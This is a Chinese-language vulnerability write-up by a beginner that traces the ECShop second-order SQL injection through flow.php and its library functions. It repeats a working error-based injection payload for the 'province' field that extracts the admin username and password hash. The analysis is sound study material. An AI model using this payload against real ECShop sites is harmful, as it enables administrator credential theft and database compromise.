初学PHP,看了两天语法,找了ecshop全版本注入漏洞来分析,以小菜的角度沿着大牛的思路来前进,有代码审计的大牛看到就请笑一笑就够了,
当然如果有错误之处,请指教!!!
ECSHOP全版本注入漏洞(二次注入) 由y35u大牛于2012-12-28 22:42提交至乌云,原文连接http://www.wooyun.org/bugs/wooyun-2010-016651,
后由L.N.牛 2013/1/10 发布漏洞分析文章,原文连接http://lanu.sinaapp.com/0day/124.html,小菜初学完全是画蛇添足,验证所思所想的,求指点,求进步!!!
首先看大牛给出的exp:
把任意商品加入购物车在填写配送地址那一页,有地区选择
flow.php?step=consignee&direct_shopping=1
其中POST数据如下
- province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
从EXP可以看出漏洞文件flow.php,//执行step=consignee代码,可以看到province参数没过滤,我们在flow.php找到关键代码
flow.php - 375行:
$consignee = array(
'address_id' => empty($_POST['address_id']) ? 0 : intval($_POST['address_id']),
'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
'country' => empty($_POST['country']) ? '' : $_POST['country'],
'province' => empty($_POST['province']) ? '' : $_POST['province'],
'city' => empty($_POST['city']) ? '' : $_POST['city'],
'district' => empty($_POST['district']) ? '' : $_POST['district'],
'email' => empty($_POST['email']) ? '' : $_POST['email'],
'address' => empty($_POST['address']) ? '' : $_POST['address'],
'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
'best_time' => empty($_POST['best_time']) ? '' : $_POST['best_time'],
);
从代码可以看到从POST传进来的数据除了address_id进行了intval转换,其它参数都没进行过滤直接放进$consignee 数组里面,我们接下来主要监控$consignee数组的传递,
flow.php - 392行:
- if ($_SESSION['user_id'] > 0)
- {
- include_once(ROOT_PATH . 'includes/lib_transaction.php');
- /* 如果用户已经登录,则保存收货人信息 */
- $consignee['user_id'] = $_SESSION['user_id'];
- save_consignee($consignee, true);
- }
首先进来会判断用户登录没有,因为一但登录,$_SESSION['user_id'] 肯定有值,肯定进入if条件
save_consignee($consignee, true); //这一段$consignee数组进入save_consignee函数,进去看看,在进去之前我们也明白执行exp后
province等于 3\') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
'号之前的\不是因为我gpc,看位于
includes/init.php 文件第86-100行:
/* 对用户传入的变量进行转义操作。*/
- if (!get_magic_quotes_gpc())
- {
- if (!empty($_GET))
- {
- $_GET = addslashes_deep($_GET);
- }
- if (!empty($_POST))
- {
- $_POST = addslashes_deep($_POST);
- }
- $_COOKIE = addslashes_deep($_COOKIE);
- $_REQUEST = addslashes_deep($_REQUEST);
- }
也就是说gpc没开的话,会使用addslashes_deep进行过滤addslashes_deep函数位于includes/lib_base.php,使用addslashes函数过滤值对数组的值也进行过滤,
好了进去明白传进来的值后,进入save_consignee函数看看
includes/lib_transaction.php 516行
function save_consignee($consignee, $default=false)
{
if ($consignee['address_id'] > 0)
{
/* 修改地址 */
$res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'UPDATE', 'address_id = ' . $consignee['address_id']." AND `user_id`= '".$_SESSION['user_id']."'");
}
else
{
/* 添加地址 */
$res = $GLOBALS['db']->autoExecute($GLOBALS['ecs']->table('user_address'), $consignee, 'INSERT');
$consignee['address_id'] = $GLOBALS['db']->insert_id();
}
if ($default)
{
/* 保存为用户的默认收货地址 */
$sql = "UPDATE " . $GLOBALS['ecs']->table('users') .
" SET address_id = '$consignee[address_id]' WHERE user_id = '$_SESSION[user_id]'";
$res = $GLOBALS['db']->query($sql);
}
return $res !== false;
}
这个函数的作用是判断用户有没有收货地址,有的话就对数据库user_address表的address_id进行更新,没有就把$consignee数组值作为values()的值添加进user_address表,
这个时候因为addslashes函数的作用单引号被转义\' ,导致最后插入user_address表province字段值为3,因为province自动类型为smallint(5),如果传入为1111ssss这样的话,默认取整数,
我们看$consignee数组里面的值还是没改变的,还是
- 3\') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
执行完这个函数继续往下看
flow.php -400行:
- /* 保存到session */
- $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
- ecs_header("Location: flow.php?step=checkout\n");
- exit;
经过stripslashes_deep函数把我们的$consignee进行反转义传给 $_SESSION['flow_consignee'],也就是说这时候province的值为
- 3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
也就是说只要从$_SESSION['flow_consignee'] 这个数组里面取到province值进行数据库操作,我们就能注入,继续往下看
ecs_header("Location: flow.php?step=checkout\n"); //执行step=checkout时代码
在flow.php 473行
$consignee = get_consignee($_SESSION['user_id']); //关键地方get_consignee函数,我们可以看到
位于includes/lib_order.php 1670行
- function get_consignee($user_id)
- {
- if (isset($_SESSION['flow_consignee']))
- {
- /* 如果存在session,则直接返回session中的收货人信息 */
- return $_SESSION['flow_consignee'];
- }
- else
- {
- /* 如果不存在,则取得用户的默认收货人信息 */
- $arr = array();
- if ($user_id > 0)
- {
- /* 取默认地址 */
- $sql = "SELECT ua.*".
- " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
- " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
- $arr = $GLOBALS['db']->getRow($sql);
- }
- return $arr;
- }
- }
可以看到 判断$_SESSION['flow_consignee']存不存在,我们刚才赋值,所以存着,返回$_SESSION['flow_consignee']里面的值,也就是说
在flow.php 473行
$consignee = get_consignee($_SESSION['user_id']); //这个时候$consignee 就等于$_SESSION['flow_consignee']
现在我们追踪$consignee数组,继续往下
在flow.php 529行
$region = array($consignee['country'], $consignee['province'], $consignee['city'], $consignee['district']);
从$consignee数组里面取值付给$region,接下来继续看
在flow.php 530行
$shipping_list = available_shipping_list($region); //把$region数组传到available_shipping_list里面,我们看available_shipping_list函数
位于includes/lib_order.php 79行
- function available_shipping_list($region_id_list)
- {
- //print_r($region_id_list);
- $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
- 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
- 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
- $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
- $GLOBALS['ecs']->table('area_region') . ' AS r ' .
- 'WHERE r.region_id ' . db_create_in($region_id_list) .
- ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
- return $GLOBALS['db']->getAll($sql);
- }
可以看到执行了SQL查询,我们主要看看db_create_in函数里面有没有把我们的province值进行过滤
位于includes/lib_common.php 30行
- function db_create_in($item_list, $field_name = '')
- {
- if (empty($item_list))
- {
- return $field_name . " IN ('') ";
- }
- else
- {
- if (!is_array($item_list))
- {
- $item_list = explode(',', $item_list);
- }
- $item_list = array_unique($item_list);
- $item_list_tmp = '';
- foreach ($item_list AS $item)
- {
- if ($item !== '')
- {
- $item_list_tmp .= $item_list_tmp ? ",'$item'" : "'$item'";
- }
- }
- if (empty($item_list_tmp))
- {
- return $field_name . " IN ('') ";
- }
- else
- {
- return $field_name . ' IN (' . $item_list_tmp . ') ';
- }
- }
- }